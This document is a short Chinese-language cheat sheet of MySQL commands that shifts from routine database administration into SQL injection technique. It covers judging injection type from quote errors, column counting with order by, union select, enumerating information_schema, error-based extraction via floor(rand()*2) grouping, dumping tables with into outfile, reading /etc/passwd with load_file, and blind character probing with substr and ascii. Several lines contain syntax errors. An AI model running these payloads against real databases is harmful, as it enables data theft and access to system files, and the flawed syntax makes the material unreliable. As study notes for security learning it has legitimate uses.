- mysql -u 用户名 -p 密码 -h IP地址
- show databases; 查看数据库
- select version(); php注入的版本号
- use database(表名);
- show tables; 显示这张表的表名
- select * from table;
- insert * from table;
- create database 库名; 创建数据库
- create table 表名(字段名 VARCHAR(20),字段名 CHAR(1));
- create table pet{ name varchar(20), owner varchar(20)}
- desc 表名; 如:desc pet 查看表的信息
- drop database 库名; 删除库名
- drop table 表名; 删除数据表
- delete from 表名; 将表中记录清空
- mysql中的information_schema,提供了访问数据元数据的方式,确切说是信息数据库。其中保存着关于MySQL的服务器所维护的所有其他数据库的信息。如数据库名、数据库的表等。常用的information_schema数据库表说明:
- SCHEMATA表--------------提供当前mysql实例中所有数据库信息
- TABLES表-----------------提供了关于数据库中的表的信息
- COLUMNS表---------------提供了表中的列信息。
- 通过(基于单引号错误、双引号错误、数字型、单引号变形、双引号变形)判断注入的类型;
- order by 判断有多少列
- union select ---(version(),user(),current_user)
- select count(*) from information_schema.tables;
- select rand();
- select table_name,table_schema from information_schema.tables group by table_schema;
- select database();
- select concat((select database())); 将字符串连接在一起
- select concat(0x3a,0x3a,(select database()),0x3a,0x3a)
- select concat(0x3a,0x3a,(select database()),0x3a,0x3a) a; 连接起来形成一个单一字符串,起个名字a
- select concat(0x3a,0x3a(select database()),0x3a,0x3a,floor(rand()*2)) a from information_schema.columns;
- select concat(0x3a,0x3a(select database()),0x3a,0x3a,floor(rand()*2)) a from information_schema.tables;
-
select count(*),concat(0x3a,0x3a(select database()),0x3a,0x3a, floor (rand()*2)) a from information_schema.tables group by a;将得到字符串分组
- 这样在几次尝试后,会得到一个错误信息,由于随机数字重复了,这里会爆出一些想要的信息
- select * from users into outfile "/tmp/tests.txt" 导出
- select * from users limit 0,1 into dumpfile "/tmp/test2.txt" dumpfile只能使用一行,所以下载数据库时候给个限制。
- select load_file("/etc/passwd"); 将文件系统数据导入mysql中
- select load_file("etc/passwd") into outfile "tmp/test4.txt";
- select length(database());
- select substr(database(),1,1);取第一个字符
- select ascii(substr(database(),1,1));